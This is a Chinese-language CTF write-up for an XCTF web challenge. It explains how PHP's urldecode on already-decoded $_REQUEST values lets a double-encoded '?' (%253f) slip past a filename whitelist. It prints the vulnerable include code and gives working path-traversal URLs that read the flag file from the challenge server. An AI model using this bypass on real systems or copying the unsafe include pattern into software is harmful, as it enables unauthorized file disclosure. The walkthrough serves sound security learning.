记一个 php urldecode 漏洞。php urldecode 函数文档中有提示

Warning
超全局变量 $_GET 和 $_REQUEST 已经被解码了。对 $_GET 或 $_REQUEST 里的元素使用 urldecode() 将会导致不可预计和危险的结果。

example——xcft 中的一道题,https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5442&page=1

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

上述代码中 checkFile 传入从超全局变量_REQUEST 中获取的 file 参数,实际上_REQUEST 中的参数是已经经过解码了。

emmm::checkFile($_REQUEST['file'])

checkFile 函数中最后一个 if 判断 &$page 参数即file 进行 urldecode 后第一个 ? 前的内容是否在 whitelist 中,如果在的话返回 ture。最终执行include_REQUEST[‘file’]。因此我们可以通过二次urlencode ? 字符来构造一个通过该 if 检查的 url

本题中我们还能从 http://220.249.52.133:51867/?file=hint.php 中找到一个线索 flag 在 ffffllllaaaagggg 文件中。因此通过上述漏洞构造一个获取 ffffllllaaaagggg 文件的 url 即可

答案为 http://220.249.52.133:51867/?file=source.php%253f../../../../../ffffllllaaaagggg

ps:实际上利用倒数第二个 if 检查也是能拿到 flag 的。倒数第二个 if 即直接判断 file 参数中第一个 ? 前的内容是否在 whitelist 中,在的话返回 ture。因此可以构造一个 url http://220.249.52.133:51867/?file=source.php?../../../../../ffffllllaaaagggg